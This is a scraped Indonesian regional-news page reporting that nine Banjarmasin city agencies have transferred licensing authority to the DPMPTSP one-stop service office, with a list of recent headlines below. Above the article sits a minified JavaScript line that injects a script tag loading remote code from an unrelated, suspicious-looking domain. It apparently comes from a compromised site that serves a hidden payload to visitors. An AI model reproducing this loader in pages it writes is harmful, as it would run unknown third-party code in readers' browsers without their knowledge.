(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

9 SKPD Menyusul Serahkan Kewenangan Perizinan ke DPMPTSP


BANJARMASIN, Keinginan Wakilwali Kota Banjarmasin Hermansyah agar masalah perizinan di Kota Banjarmasin segera dilimpahkan ke Dinas Penanaman Modal dan Pelayanan Terpadu Satu Pintu (DPMPTSP) Kota Banjarmasin akhirnya diikuti SKPD.

Setidaknya, ada sembilan SKPD yang kembali menyerahkan berkas lanjutan pelimpahan perizinan ke DPMPTSP yakni Dinkes Kota Banjarmasin, Dinas Kominfotik Kota Banjarmasin, Dinas Pertanian, Dinas Perkim, Dinas Koperasi, Disdik Kota Banjarmasin, Dinsos Kota Banjarmasin, Disperindag Kota Banjarmasin, Dinas Lingkungan Hidup Kota Banjarmasin dan Dinas Kebudayaan dan Pariwisata Kota Banjarmasin.

Penyerahan tersebut dilakukan, saat rapat lanjutan koordinasi pejabat tahun 2019 dan pelimpahan kewenangan perizinan dan non perizinan seluruh SKPD, yang dipimpin Wakil Walikota Banjarmasin H Hermansyah, di Aula Kayuh Baimbai Balaikota Banjarmasin.

Menurut Hermansyah, kegiatan pelimpahan kewenangan perizinan ini dilakukan untuk mempermudah pelayanan kepada masyarakat. Selain itu, katanya, pelimpahan kewenangan itu, juga untuk menindaklanjuti rekomendasi yang diberikan Komisi Pemberantasan Korupsi (KPK) kepada Pemko Banjarmasin.

“Kegiatan hari ini sudah tuntas. Terimakasih kepada SKPD yang sudah menyerahkan, sekarang tinggal menjalankan saja,” ucapnya.

Seperti diberitakan sebelumnya, Hermansyah meminta seluruh SKPD lingkup Pemko Banjarmasin dan instansi terkait lain lingkup Pemko Banjarmasin yang menangani perizinan, segera melimpahkan kewenangan terkait perizinannya ke DPMPTSP Kota Banjarmasin.

Menurutnya, pelimpahan kewenangan perizinan itu tak hanya menyangkut masalah administrasi semata, tetapi juga harus dibarengi dengan pembenahan dan penataan proses pelayanannya.

Hal ini dilakukan, agar masyarakat dan para investor yang memerlukan pelayanan perizinan tidak kesulitan mendapatan izin usaha. “Saya sangat berharap yang berkaitan dengan pelimpahan kewenangan ini diselesaikan secara tuntas, agar investor bisa berinvestasi di kota ini. Jangan sampai mereka kesulitan berinvestasi di kota ini, hanya gara-gara sulit mendapatkan izin,” ujarnya.

Kadis DPMPTSP Kota Banjarmasin, Muryanta saat itu juga menjelaskan, pelimpahan kewenangan perizinan itu merupakan tindak lanjut dari rekomendasi yang telah dikeluarkan KPK beberapa waktu lalu.

Saat ini, lanjutnya, pihaknya telah menyiapkan sebuah aplikasi yang dapat mempermudah system admintrasi pelayanannya. Sistem itu disebut Online Single Submission (OSS), berbasis teknologi informasi yang mengintegrasikan perizinan daerah dan pusat, yang bertujuan untuk mempermudah kegiatan usaha dalam negeri.

“Dasar digunakannya system tersebut Peraturan Pemerintah Nomor 24 tahun 2018 tentang pelayanan perizinan berusaha terintegrasi secara elektronik,” katanya. (mario)

Reporter: Mario
Editor: Bie

Desy Arfianty

Recent Posts

Curi Mobil Modus Duplikat Kunci, NY Diringkus Satreskrim Polresta Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reskrim Polresta Banjarmasin meringkus seseorang lelaki berinisial NY (37) karena melakukan… Read More

13 jam ago

Sah! Ini 30 Calon Terpilih Anggota DPRD HSU 2024-2029

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) menetapkan 30 perolehan… Read More

16 jam ago

Sebelum Dilantik, 30 Calon Terpilih DPRD Banjarbaru Harus Lapor Harta Kekayaan

KANALKALIMANTAN.COM, BANJARBARU – Calon terpilih Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru pada Pemilu… Read More

20 jam ago

Tiga Putra HSU Terbaik Pertama Syarhil Qur’an MTQ XXXV Kalsel

KANALKALIMANTAN.COM, RANTAU - Enam orang dari kafilah Kabupaten Hulu Sungai Utara (HSU) sukses meraih prestasi… Read More

20 jam ago

Resmi Ditetapkan, Ini 45 Calon Terpilih Anggota DPRD Banjarmasin 2024-2029

PAN, Golkar dan PKS Masing-masing 7 Kursi di DPRD Banjarmasin Read More

20 jam ago

Juara Umum di MTQ Provinsi, Ketua LPTQ Banjar Pastikan Bonus bagi Pemenang

KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar meraih sukses pada Musabaqah Tilawatil Quran (MTQ) Nasional XXXV Tingkat… Read More

22 jam ago

This website uses cookies.